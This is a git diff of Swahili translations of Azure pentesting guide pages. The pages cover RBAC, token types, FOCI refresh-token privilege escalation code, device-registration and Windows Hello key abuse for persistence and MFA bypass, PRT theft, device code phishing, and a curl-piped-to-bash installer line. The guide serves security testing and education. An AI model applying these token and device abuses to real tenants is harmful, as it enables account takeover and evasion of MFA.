mahali pengine @@ -294,30 +294,30 @@ Mfano wa ruhusa JSON kwa jukumu la kawaida: ``` ### Permissions order -- Ili **principal awe na ufikiaji wa rasilimali** anahitaji jukumu lililo wazi kumwagiwa (kwa namna yoyote) **linalompa ruhusa hiyo**. -- Jukumu lililo wazi la **kukataa linachukua kipaumbele** juu ya jukumu linalotoa ruhusa. +- Ili **principal kuwa na ufikiaji wa rasilimali** anahitaji jukumu lililo wazi kumwagiwa (kwa njia yoyote) **linalompa ruhusa hiyo**. +- Jukumu la wazi la **kukataa linachukua kipaumbele** juu ya jukumu linalotoa ruhusa.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

### Global Administrator -Global Administrator ni jukumu kutoka Entra ID linalotoa **udhibiti kamili juu ya mpangilio wa Entra ID**. Hata hivyo, halitoi ruhusa yoyote juu ya rasilimali za Azure kwa msingi. +Global Administrator ni jukumu kutoka Entra ID linalotoa **udhibiti kamili juu ya mpangilio wa Entra ID**. Hata hivyo, halitoi ruhusa yoyote juu ya rasilimali za Azure kwa default. Watumiaji wenye jukumu la Global Administrator wana uwezo wa '**kuinua' hadi Jukumu la Msimamizi wa Ufikiaji wa Mtumiaji wa Azure katika Kundi la Usimamizi wa Mizizi**. Hivyo, Wasimamizi wa Global wanaweza kusimamia ufikiaji katika **mikataba yote ya Azure na makundi ya usimamizi.**\ -Kuinua hii inaweza kufanywa mwishoni mwa ukurasa: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) +Kuinua hii kunaweza kufanywa mwishoni mwa ukurasa: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
### Azure Policies -**Azure Policies** ni sheria zinazosaidia mashirika kuhakikisha rasilimali zao zinakidhi viwango maalum na mahitaji ya ufuatiliaji. Zinakuwezesha **kulazimisha au kukagua mipangilio kwenye rasilimali za Azure**. Kwa mfano, unaweza kuzuia uundaji wa mashine za virtual katika eneo lisiloidhinishwa au kuhakikisha kwamba rasilimali zote zina lebo maalum za kufuatilia. +**Azure Policies** ni sheria zinazosaidia mashirika kuhakikisha rasilimali zao zinakidhi viwango maalum na mahitaji ya ufuatiliaji. Zinakuwezesha **kulazimisha au kukagua mipangilio kwenye rasilimali katika Azure**. Kwa mfano, unaweza kuzuia uundaji wa mashine za virtual katika eneo lisiloidhinishwa au kuhakikisha kwamba rasilimali zote zina lebo maalum za kufuatilia. Azure Policies ni **za awali**: zinaweza kuzuia rasilimali zisizokidhi viwango zisizoundwa au kubadilishwa. Pia ni **za majibu**, zikikuruhusu kupata na kurekebisha rasilimali zisizokidhi viwango zilizopo. #### **Key Concepts** -1. **Policy Definition**: Sheria, iliyoandikwa kwa JSON, inayobainisha kile kinachoruhusiwa au kinachohitajika. -2. **Policy Assignment**: Matumizi ya sera kwa kiwango maalum (mfano, usajili, kundi la rasilimali). +1. **Policy Definition**: Sheria, iliyoandikwa kwa JSON, inayobainisha kinachoruhusiwa au kinachohitajika. +2. **Policy Assignment**: Utumiaji wa sera kwa kiwango maalum (mfano, usajili, kundi la rasilimali). 3. **Initiatives**: Mkusanyiko wa sera zilizopangwa pamoja kwa ajili ya utekelezaji mpana. 4. **Effect**: Inabainisha kinachotokea wakati sera inapoanzishwa (mfano, "Deny," "Audit," au "Append"). @@ -350,9 +350,9 @@ Azure policy json example: "mode": "All" } ``` -### Permissions Inheritance +### Urithi wa Ruhusa -Katika Azure **permissions zinaweza kupewa sehemu yoyote ya hiyerarhii**. Hii inajumuisha makundi ya usimamizi, usajili, vikundi vya rasilimali, na rasilimali binafsi. Permissions **zinapewa** na **rasilimali** zilizomo katika chombo ambacho zilipewa. +Katika Azure **ruhusa zinaweza kutolewa kwa sehemu yoyote ya hiyerarhii**. Hii inajumuisha makundi ya usimamizi, usajili, makundi ya rasilimali, na rasilimali binafsi. Ruhusa **zinarithiwa** na **rasilimali** zilizomo katika chombo ambacho zilitolewa. Muundo huu wa hiyerarhii unaruhusu usimamizi mzuri na wa kupanuka wa ruhusa za ufikiaji. @@ -360,13 +360,13 @@ Muundo huu wa hiyerarhii unaruhusu usimamizi mzuri na wa kupanuka wa ruhusa za u ### Azure RBAC vs ABAC -**RBAC** (udhibiti wa ufikiaji kulingana na jukumu) ni kile tulichokiona tayari katika sehemu zilizopita: **Kutoa jukumu kwa msingi ili kumpa ufikiaji** juu ya rasilimali.\ -Hata hivyo, katika baadhi ya matukio unaweza kutaka kutoa **usimamizi wa ufikiaji wa kiwango cha juu zaidi** au **kurahisisha** usimamizi wa **mamia** ya **mipangilio** ya jukumu. +**RBAC** (udhibiti wa ufikiaji kulingana na majukumu) ni kile tulichokiona tayari katika sehemu zilizopita: **Kutoa jukumu kwa msingi ili kumpa ufikiaji** juu ya rasilimali.\ +Hata hivyo, katika baadhi ya matukio unaweza kutaka kutoa **usimamizi wa ufikiaji wa kiwango cha juu zaidi** au **rahisisha** usimamizi wa **mamia** ya **mikataba ya jukumu**. -Azure **ABAC** (udhibiti wa ufikiaji kulingana na sifa) inajengwa juu ya Azure RBAC kwa kuongeza **masharti ya mipangilio ya jukumu kulingana na sifa** katika muktadha wa vitendo maalum. _Sharti la mipangilio ya jukumu_ ni **ukaguzi wa ziada ambao unaweza kuongeza kwa hiari kwenye mipangilio yako ya jukumu** ili kutoa udhibiti wa ufikiaji wa kiwango cha juu zaidi. Sharti linachuja ruhusa zinazotolewa kama sehemu ya ufafanuzi wa jukumu na mipangilio ya jukumu. Kwa mfano, unaweza **kuongeza sharti linalohitaji kitu kuwa na lebo maalum ili kusoma kitu**.\ +Azure **ABAC** (udhibiti wa ufikiaji kulingana na sifa) inajengwa juu ya Azure RBAC kwa kuongeza **masharti ya ugawaji wa jukumu kulingana na sifa** katika muktadha wa vitendo maalum. _Sharti la ugawaji wa jukumu_ ni **ukaguzi wa ziada ambao unaweza kuongeza kwa hiari kwenye ugawaji wako wa jukumu** ili kutoa udhibiti wa ufikiaji wa kiwango cha juu zaidi. Sharti linafanya uchujaji wa ruhusa zinazotolewa kama sehemu ya ufafanuzi wa jukumu na ugawaji wa jukumu. Kwa mfano, unaweza **kuongeza sharti linalohitaji kitu kuwa na lebo maalum ili kusoma kitu hicho**.\ Huwezi **kukatisha** **ufikiaji** kwa rasilimali maalum **ukitumia masharti**. -## References +## Marejeleo - [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview) - [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions) diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md index 0411652fc..3fcc82d9d 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md @@ -25,16 +25,16 @@ Entra ID ni jukwaa la usimamizi wa utambulisho na ufikiaji (IAM) la Microsoft li - Microsoft 365 inatumia Azure AD kwa IAM na inajumuisha programu nyingi za "first-party" za OAuth. - Programu hizi zimeunganishwa kwa kina na mara nyingi zina uhusiano wa huduma zinazohusiana. - Ili kurahisisha uzoefu wa mtumiaji na kudumisha kazi, Microsoft inatoa "idhini iliyodhaniwa" au "idhini ya awali" kwa programu hizi za first-party. -- **Idhini Iliyodhaniwa:** Programu fulani zinapewa moja kwa moja **ufikiaji wa mikondo maalum bila idhini wazi ya mtumiaji au msimamizi**. -- Mikondo hii ya awali kwa kawaida inafichwa kutoka kwa watumiaji na wasimamizi, na kuifanya iwe na mwonekano mdogo katika interfaces za usimamizi wa kawaida. +- **Idhini Iliyodhaniwa:** Programu fulani zinapewa **ufikiaji wa mikondo maalum bila idhini ya wazi ya mtumiaji au msimamizi**. +- Mikondo hii iliyodhaniwa kwa kawaida inafichwa kutoka kwa watumiaji na wasimamizi, na kuifanya iwe na mwonekano mdogo katika interfaces za usimamizi wa kawaida. **Aina za Programu za Mteja:** 1. **Wateja wa Siri:** -- Wana akidi zao wenyewe (mfano, nywila au vyeti). +- Wana akreditif zao wenyewe (mfano, nywila au vyeti). - Wanaweza **kujithibitisha kwa usalama** kwa seva ya uidhinishaji. 2. **Wateja wa Umma:** -- Hawana akidi za kipekee. +- Hawana akreditif za kipekee. - Hawawezi kujithibitisha kwa usalama kwa seva ya uidhinishaji. - **Athari za Usalama:** Mshambuliaji anaweza kujifanya kuwa programu ya mteja wa umma anapohitaji alama, kwani hakuna mekanismu kwa seva ya uidhinishaji kuthibitisha uhalali wa programu. @@ -44,13 +44,13 @@ Kuna **aina tatu za alama** zinazotumika katika OIDC: - [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** Mteja anawasilisha alama hii kwa seva ya rasilimali ili **kufikia rasilimali**. Inaweza kutumika tu kwa mchanganyiko maalum wa mtumiaji, mteja, na rasilimali na **haiwezi kufutwa** hadi ipite muda - yaani, saa 1 kwa kawaida. - **ID Tokens**: Mteja anapata alama hii **kutoka kwa seva ya uidhinishaji**. Inajumuisha taarifa za msingi kuhusu mtumiaji. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja. -- **Refresh Tokens**: Zinapeanwa kwa mteja pamoja na alama ya ufikiaji. Zinatumika **kupata alama mpya za ufikiaji na ID**. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja na inaweza kufutwa. Muda wa kawaida wa kuisha ni **siku 90** kwa alama za refresha zisizofanya kazi na **hakuna muda wa kuisha kwa alama za kazi** (kutoka kwa alama ya refresha inawezekana kupata alama mpya za refresha). -- Alama ya refresha inapaswa kuunganishwa na **`aud`**, kwa baadhi ya **mikondo**, na kwa **tenant** na inapaswa kuwa na uwezo wa kuzalisha alama za ufikiaji kwa ajili ya aud hiyo, mikondo (na hakuna zaidi) na tenant. Hata hivyo, hii si hali kwa **alama za programu za FOCI**. -- Alama ya refresha imefichwa na ni Microsoft pekee inayoweza kuifungua. -- Kupata alama mpya ya refresha hakufuti alama ya refresha ya awali. +- **Refresh Tokens**: Zinapeanwa kwa mteja pamoja na alama ya ufikiaji. Zinatumika kupata **alama mpya za ufikiaji na ID**. Inafungwa kwa mchanganyiko maalum wa mtumiaji na mteja na inaweza kufutwa. Muda wa kawaida wa kuisha ni **siku 90** kwa alama za refresh zisizofanya kazi na **hakuna muda wa kuisha kwa alama za kazi** (inawezekana kupata alama mpya za refresh kutoka kwa alama ya refresh). +- Alama ya refresh inapaswa kuunganishwa na **`aud`**, kwa mikondo **badhala**, na kwa **tenant** na inapaswa kuwa na uwezo wa kuzalisha alama za ufikiaji kwa ajili ya aud hiyo, mikondo (na hakuna zaidi) na tenant. Hata hivyo, hii si hali kwa **FOCI applications tokens**. +- Alama ya refresh imefichwa na ni Microsoft pekee inayoweza kuifungua. +- Kupata alama mpya ya refresh hakufuti alama ya refresh ya awali. > [!WARNING] -> Taarifa za **ufikiaji wa masharti** zime **hifadhiwa** ndani ya **JWT**. Hivyo, ikiwa unahitaji **alama kutoka kwa anwani ya IP iliyoidhinishwa**, hiyo **IP** itakuwa **hifadhiwa** katika alama na kisha unaweza kutumia alama hiyo kutoka kwa **IP isiyoidhinishwa kufikia rasilimali**. +> Taarifa za **ufikiaji wa masharti** zime **hifadhiwa** ndani ya **JWT**. Hivyo, ikiwa unahitaji **alama kutoka anwani ya IP iliyoidhinishwa**, hiyo **IP** itakuwa **hifadhiwa** katika alama na kisha unaweza kutumia alama hiyo kutoka **IP isiyoidhinishwa kufikia rasilimali**. ### Access Tokens "aud" @@ -77,10 +77,10 @@ Amri `az account get-access-token --resource-type [...]` inasaidia aina zifuataz * **data-lake (Azure Data Lake Storage)**: Inatumika kuingiliana na Azure Data Lake Storage Gen1, ambayo ni huduma ya hifadhi ya data na uchambuzi inayoweza kupanuka. - `https://datalake.azure.net/` -- **media (Azure Media Services)**: Inatumika kufikia Azure Media Services, ambayo inatoa huduma za usindikaji na usambazaji wa media zinazotegemea wingu kwa maudhui ya video na sauti. +- **media (Azure Media Services)**: Inatumika kufikia Azure Media Services, ambazo zinatoa huduma za usindikaji na usambazaji wa media zinazotegemea wingu kwa ajili ya maudhui ya video na sauti. - `https://rest.media.azure.net` -* **ms-graph (Microsoft Graph API)**: Inatumika kufikia Microsoft Graph API, kiunganishi kilichounganishwa kwa data za huduma za Microsoft 365. Inaruhusu kufikia data na maarifa kutoka kwa huduma kama Azure AD, Office 365, Enterprise Mobility, na huduma za Usalama. +* **ms-graph (Microsoft Graph API)**: Inatumika kufikia Microsoft Graph API, kiunganishi kilichounganishwa kwa data za huduma za Microsoft 365. Inakuruhusu kufikia data na maarifa kutoka kwa huduma kama Azure AD, Office 365, Enterprise Mobility, na huduma za Usalama. - `https://graph.microsoft.com` - **oss-rdbms (Azure Open Source Relational Databases)**: Inatumika kufikia huduma za Azure Database kwa injini za hifadhidata za uhusiano za chanzo wazi kama MySQL, PostgreSQL, na MariaDB. @@ -90,7 +90,7 @@ Amri `az account get-access-token --resource-type [...]` inasaidia aina zifuataz ### Access Tokens Scopes "scp" -Mikondo ya alama ya ufikiaji inahifadhiwa ndani ya ufunguo wa scp ndani ya alama ya ufikiaji JWT. Mikondo hii inafafanua kile alama ya ufikiaji ina ufikiaji. +Mikondo ya alama ya ufikiaji inahifadhiwa ndani ya ufunguo wa scp ndani ya JWT ya alama ya ufikiaji. Mikondo hii inafafanua ni nini alama ya ufikiaji ina ufikiaji. Ikiwa JWT inaruhusiwa kuwasiliana na API maalum lakini **haina mikondo** ya kufanya kitendo kilichohitajika, haitakuwa na uwezo wa kufanya kitendo hicho na JWT hiyo. @@ -121,7 +121,6 @@ device_flow pprint(azure_cli_bearer_tokens_for_graph_api) - # DECODE JWT def decode_jwt(base64_blob: str) -> Dict[str, Any]: """Decodes base64 encoded JWT blob""" @@ -147,9 +146,9 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api) ``` ## FOCI Tokens Privilege Escalation -Kabla ilisemwa kwamba refresh tokens zinapaswa kuunganishwa na **scopes** ambazo zilitengenezwa nazo, kwa **application** na **tenant** ambazo zilitengenezwa kwao. Ikiwa mojawapo ya mipaka hii itavunjwa, inawezekana kupandisha mamlaka kwani itakuwa inawezekana kutengeneza access tokens kwa rasilimali nyingine na tenants ambazo mtumiaji anaweza kufikia na kwa scopes zaidi kuliko ilivyokusudiwa awali. +Kabla ilisemwa kwamba refresh tokens zinapaswa kuunganishwa na **scopes** ambazo zilitengenezwa nazo, kwa **application** na **tenant** ambayo ilitengenezwa. Ikiwa mojawapo ya mipaka hii itavunjwa, inawezekana kupandisha mamlaka kwani itakuwa inawezekana kutengeneza access tokens kwa rasilimali nyingine na tenants ambazo mtumiaji anaweza kufikia na kwa scopes zaidi kuliko ilivyokusudiwa awali. -Zaidi ya hayo, **hii inawezekana na refresh tokens zote** katika [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, na akaunti za kijamii kama Facebook na Google) kwa sababu kama [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) zinavyosema: "Refresh tokens zimefungwa kwa mchanganyiko wa mtumiaji na mteja, lakini **hazifungwi kwa rasilimali au tenant**. Mteja anaweza kutumia refresh token kupata access tokens **katika mchanganyiko wowote wa rasilimali na tenant** ambapo ana ruhusa kufanya hivyo. Refresh tokens zimefungwa na ni Microsoft identity platform pekee inayoweza kuzisoma." +Zaidi ya hayo, **hii inawezekana na refresh tokens zote** katika [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, na akaunti za kijamii kama Facebook na Google) kwa sababu kama [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) zinavyosema: "Refresh tokens zimefungwa kwa mchanganyiko wa mtumiaji na mteja, lakini **hazifungwi kwa rasilimali au tenant**. Mteja anaweza kutumia refresh token kupata access tokens **katika mchanganyiko wowote wa rasilimali na tenant** ambapo ana ruhusa kufanya hivyo. Refresh tokens zimefichwa na ni Microsoft identity platform pekee inayoweza kuzisoma." Zaidi ya hayo, kumbuka kwamba FOCI applications ni public applications, hivyo **siri yoyote haitahitajika** kuthibitisha kwenye seva. @@ -157,7 +156,7 @@ Kisha wateja wa FOCI waliotambulika waliripotiwa katika [**original research**]( ### Get different scope -Kufuata mfano wa awali wa msimbo, katika msimbo huu inahitajika token mpya kwa scope tofauti: +Kufuata mfano wa awali wa msimbo, katika msimbo huu unahitajika token mpya kwa scope tofauti: ```python # Code from https://github.com/secureworks/family-of-client-ids-research azure_cli_bearer_tokens_for_outlook_api = ( @@ -174,7 +173,7 @@ scopes=[ ) pprint(azure_cli_bearer_tokens_for_outlook_api) ``` -### Pata wateja na mipaka tofauti +### Pata wateja tofauti na mipaka ```python # Code from https://github.com/secureworks/family-of-client-ids-research microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c") diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md index 312deff46..9a4917599 100644 --- a/src/pentesting-cloud/azure-security/az-device-registration.md +++ b/src/pentesting-cloud/azure-security/az-device-registration.md @@ -6,15 +6,15 @@ Wakati kifaa kinajiunga na AzureAD, kitu kipya kinaundwa katika AzureAD. -Wakati wa kujiandikisha kifaa, **mtumiaji anaombwa kuingia na akaunti yake** (akiulizwa kwa MFA ikiwa inahitajika), kisha inahitaji tokeni za huduma ya usajili wa kifaa na kisha inauliza uthibitisho wa mwisho. +Wakati wa kujiandikisha kifaa, **mtumiaji anaombwa kuingia na akaunti yake** (akiulizwa kwa MFA ikiwa inahitajika), kisha inahitaji tokeni za huduma ya usajili wa kifaa na kisha inaomba uthibitisho wa mwisho. Kisha, jozi mbili za funguo za RSA zinaundwa katika kifaa: **funguo ya kifaa** (**funguo ya umma**) ambayo inatumwa kwa **AzureAD** na **funguo ya usafirishaji** (**funguo ya faragha**) ambayo inahifadhiwa katika TPM ikiwa inawezekana. -Kisha, **kitu** kinaundwa katika **AzureAD** (sio katika Intune) na AzureAD inarudisha kwa kifaa **cheti** kilichosainiwa na hiyo. Unaweza kuthibitisha kwamba **kifaa kimejiunga na AzureAD** na taarifa kuhusu **cheti** (kama kimeprotected na TPM). +Kisha, **kitu** kinaundwa katika **AzureAD** (sio katika Intune) na AzureAD inarudisha kwa kifaa **cheti** kilichosainiwa na hiyo. Unaweza kuthibitisha kwamba **kifaa kimeunganishwa na AzureAD** na taarifa kuhusu **cheti** (kama ikiwa inalindwa na TPM). ```bash dsregcmd /status ``` -Baada ya usajili wa kifaa, **Primary Refresh Token** inahitajika na moduli ya LSASS CloudAP na inatolewa kwa kifaa. PRT inakuja na **funguo ya kikao iliyosimbwa ili kifaa pekee kiweze kuisambua** (kwa kutumia funguo ya umma ya funguo ya usafirishaji) na **inahitajika ili kutumia PRT.** +Baada ya usajili wa kifaa, **Primary Refresh Token** inahitajika na moduli ya LSASS CloudAP na inatolewa kwa kifaa. PRT inakuja na **funguo ya kikao iliyosimbwa ili kifaa pekee kiweze kuifungua** (kwa kutumia funguo ya umma ya funguo ya usafirishaji) na **inahitajika ili kutumia PRT.** Kwa maelezo zaidi kuhusu nini PRT ni angalia: @@ -24,8 +24,8 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md ### TPM - Moduli ya Jukwaa Iliyotegemewa -**TPM** **inalinda** dhidi ya **uchimbaji** wa funguo kutoka kwa kifaa kilichozimwa (ikiwa kinalindwa na PIN) na kutoka kwa uchimbaji wa nyenzo za faragha kutoka kwenye safu ya OS.\ -Lakini **haiwezi kulinda** dhidi ya **kuvuta** muunganisho wa kimwili kati ya TPM na CPU au **kutumia nyenzo za kifahari** katika TPM wakati mfumo unafanya kazi kutoka kwa mchakato wenye haki za **SYSTEM**. +**TPM** **inalinda** dhidi ya **uchimbaji** wa funguo kutoka kwa kifaa kilichozimwa (ikiwa kinalindwa na PIN) na kutoka kwa kuchimba nyenzo za faragha kutoka kwenye safu ya OS.\ +Lakini **haiwezi kulinda** dhidi ya **kuangalia** muunganisho wa kimwili kati ya TPM na CPU au **kutumia nyenzo za kifahari** katika TPM wakati mfumo unafanya kazi kutoka kwa mchakato wenye haki za **SYSTEM**. Ikiwa utaangalia ukurasa ufuatao utaona kwamba **kuiba PRT** kunaweza kutumika kupata kama **mtumiaji**, ambayo ni nzuri kwa sababu **PRT iko kwenye vifaa**, hivyo inaweza kuibiwa kutoka kwao (au ikiwa haijaibiwa inaweza kutumika vibaya kuunda funguo mpya za kusaini): @@ -47,38 +47,38 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie # Custom pyhton script to register a device (check roadtx) registerdevice.py ``` -Which will give you a **cheti ambacho unaweza kutumia kuomba PRTs katika siku zijazo**. Hivyo kudumisha kudumu na **kuzidi MFA** kwa sababu token ya PRT ya awali iliyotumika kujiandikisha kifaa kipya **ilikuwa tayari na ruhusa za MFA zilizotolewa**. +Ambayo itakupa **cheti ambacho unaweza kutumia kuomba PRTs katika siku zijazo**. Hivyo kudumisha uthibitisho na **kuzidi MFA** kwa sababu token ya PRT ya awali iliyotumika kujiandikisha kifaa kipya **ilikuwa tayari na ruhusa za MFA zilizotolewa**. > [!TIP] -> Kumbuka kwamba ili kufanya shambulio hili utahitaji ruhusa za **kujiandikisha vifaa vipya**. Pia, kujiandikisha kifaa hakumaanishi kifaa kitakuwa **kimekubaliwa kujiunga na Intune**. +> Kumbuka kwamba ili kufanya shambulio hili utahitaji ruhusa za **kujiandikisha vifaa vipya**. Pia, kujiandikisha kifaa hakumaanishi kifaa kitakuwa **na ruhusa ya kujiunga na Intune**. > [!CAUTION] > Shambulio hili lilirekebishwa mnamo Septemba 2021 kwani huwezi tena kujiandikisha vifaa vipya kwa kutumia token za SSO. Hata hivyo, bado inawezekana kujiandikisha vifaa kwa njia halali (ikiwa na jina la mtumiaji, nenosiri na MFA ikiwa inahitajika). Angalia: [**roadtx**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-roadtx-authentication.md). -## Kuandika upya tiketi ya kifaa +## Kubadilisha tiketi ya kifaa -Ilikuwa inawezekana **kuomba tiketi ya kifaa**, **kuandika upya** ile ya sasa ya kifaa, na wakati wa mchakato **kuiiba PRT** (hivyo hakuna haja ya kuiba kutoka kwa TPM. Kwa maelezo zaidi [**angalia mazungumzo haya**](https://youtu.be/BduCn8cLV1A). +Ilikuwa inawezekana **kuomba tiketi ya kifaa**, **kubadilisha** ile ya sasa ya kifaa, na wakati wa mchakato **kuiba PRT** (hivyo hakuna haja ya kuiba kutoka kwa TPM. Kwa maelezo zaidi [**angalia mazungumzo haya**](https://youtu.be/BduCn8cLV1A).
> [!CAUTION] > Hata hivyo, hili lilirekebishwa. -## Andika upya funguo za WHFB +## Badilisha funguo za WHFB [**Angalia slaidi za asili hapa**](https://dirkjanm.io/assets/raw/Windows%20Hello%20from%20the%20other%20side_nsec_v1.0.pdf) Muhtasari wa shambulio: -- Inawezekana **kuandika upya** funguo za **WHFB** zilizoregistriwa kutoka kwa **kifaa** kupitia SSO +- Inawezekana **kubadilisha** funguo ya **WHFB** iliyosajiliwa kutoka kwa **kifaa** kupitia SSO - In **shinda ulinzi wa TPM** kwani funguo inachukuliwa **wakati wa uzalishaji** wa funguo mpya -- Hii pia inatoa **kudumu** +- Hii pia inatoa **uthibitisho**
-Watumiaji wanaweza kubadilisha mali yao ya searchableDeviceKey kupitia Azure AD Graph, hata hivyo, mshambuliaji anahitaji kuwa na kifaa katika mpangilio (kilichoregistriwa kwa haraka au akiwa na cheti + funguo iliyopatikana kutoka kwa kifaa halali) na token ya ufikiaji halali kwa AAD Graph. +Watumiaji wanaweza kubadilisha mali yao ya searchableDeviceKey kupitia Azure AD Graph, hata hivyo, mshambuliaji anahitaji kuwa na kifaa katika mpangilio (kilichosajiliwa kwa haraka au akiwa na cheti + funguo iliyoporwa kutoka kifaa halali) na token ya ufikiaji halali kwa AAD Graph. -Kisha, inawezekana kuzalisha funguo mpya na: +Kisha, inawezekana kuzalisha funguo mpya kwa: ```bash roadtx genhellokey -d -k tempkey.key ``` @@ -86,7 +86,7 @@ na kisha PATCH taarifa za searchableDeviceKey:
-Inawezekana kupata token ya ufikiaji kutoka kwa mtumiaji kupitia **device code phishing** na kutumia hatua zilizopita ili **kuiba ufikiaji wake**. Kwa maelezo zaidi angalia: +Inawezekana kupata tokeni ya ufikiaji kutoka kwa mtumiaji kupitia **device code phishing** na kutumia hatua zilizopita ili **kuiba ufikiaji wake**. Kwa maelezo zaidi angalia: {{#ref}} az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index 5a6bbb4ae..e97984409 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -28,9 +28,9 @@ ## Install PowerShell in MacOS -Maelekezo kutoka [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): +Maelekezo kutoka kwa [**documentation**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): -1. Funga `brew` ikiwa haijafungwa bado: +1. Install `brew` ikiwa haijafungwa bado: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` @@ -47,11 +47,11 @@ pwsh brew update brew upgrade powershell ``` -## Main Enumeration Tools +## Vifaa Vikuu vya Kuorodhesha ### az cli -[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) ni chombo cha kuvuka majukwaa kilichoandikwa kwa Python kwa ajili ya kusimamia na kuendesha (zaidi ya) rasilimali za Azure na Entra ID. Kinajihusisha na Azure na kutekeleza amri za usimamizi kupitia mstari wa amri au skripti. +[**Azure Command-Line Interface (CLI)**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) ni chombo cha jukwaa nyingi kilichoandikwa kwa Python kwa ajili ya kusimamia na kuendesha (zaidi ya) rasilimali za Azure na Entra ID. Kinajihusisha na Azure na kutekeleza amri za usimamizi kupitia mstari wa amri au skripti. Fuata kiungo hiki kwa [**maelekezo ya usakinishaji¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install). @@ -109,7 +109,7 @@ Ili kufanya **MitM** kwa zana na **kuangalia maombi yote** inayopeleka kwa mikon ### Microsoft Graph PowerShell -Microsoft Graph PowerShell ni SDK ya jukwaa nyingi inayowezesha ufikiaji wa APIs zote za Microsoft Graph, ikiwa ni pamoja na huduma kama SharePoint, Exchange, na Outlook, kwa kutumia kiunganishi kimoja. Inasaidia PowerShell 7+, uthibitishaji wa kisasa kupitia MSAL, vitambulisho vya nje, na maswali ya hali ya juu. Kwa kuzingatia ufikiaji wa chini kabisa, inahakikisha shughuli salama na inapokea masasisho ya mara kwa mara ili kuendana na vipengele vya hivi karibuni vya Microsoft Graph API. +Microsoft Graph PowerShell ni SDK ya kuvuka majukwaa inayowezesha ufikiaji wa APIs zote za Microsoft Graph, ikiwa ni pamoja na huduma kama SharePoint, Exchange, na Outlook, kwa kutumia kiunganishi kimoja. Inasaidia PowerShell 7+, uthibitishaji wa kisasa kupitia MSAL, identiti za nje, na maswali ya hali ya juu. Kwa kuzingatia ufikiaji wa chini wa ruhusa, inahakikisha shughuli salama na inapokea masasisho ya kawaida ili kuendana na vipengele vya hivi karibuni vya Microsoft Graph API. Fuata kiungo hiki kwa [**maelekezo ya usakinishaji**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). @@ -128,4 +128,4 @@ Moduli ya Azure Active Directory (AD), sasa **imeondolewa**, ni sehemu ya Azure > [!TIP] > Hii imebadilishwa na Microsoft Graph PowerShell -Fuata kiungo hiki kwa [**maelekezo ya usakinishaji**](https://www.powershellgallery.com/packages/AzureAD). +Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index ef51ffe2e..80b245fe6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -8,19 +8,19 @@ Kuna njia tofauti ambazo mashine zinaweza kuunganishwa na wingu: -#### Azure AD iliyojiunga +#### Azure AD joined
-#### Iliyojiunga na Mahali +#### Workplace joined

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

-#### Iliyojiunga kwa Mchanganyiko +#### Hybrid joined

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

-#### Iliyojiunga na Mahali kwenye AADJ au Mchanganyiko +#### Workplace joined on AADJ or Hybrid

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

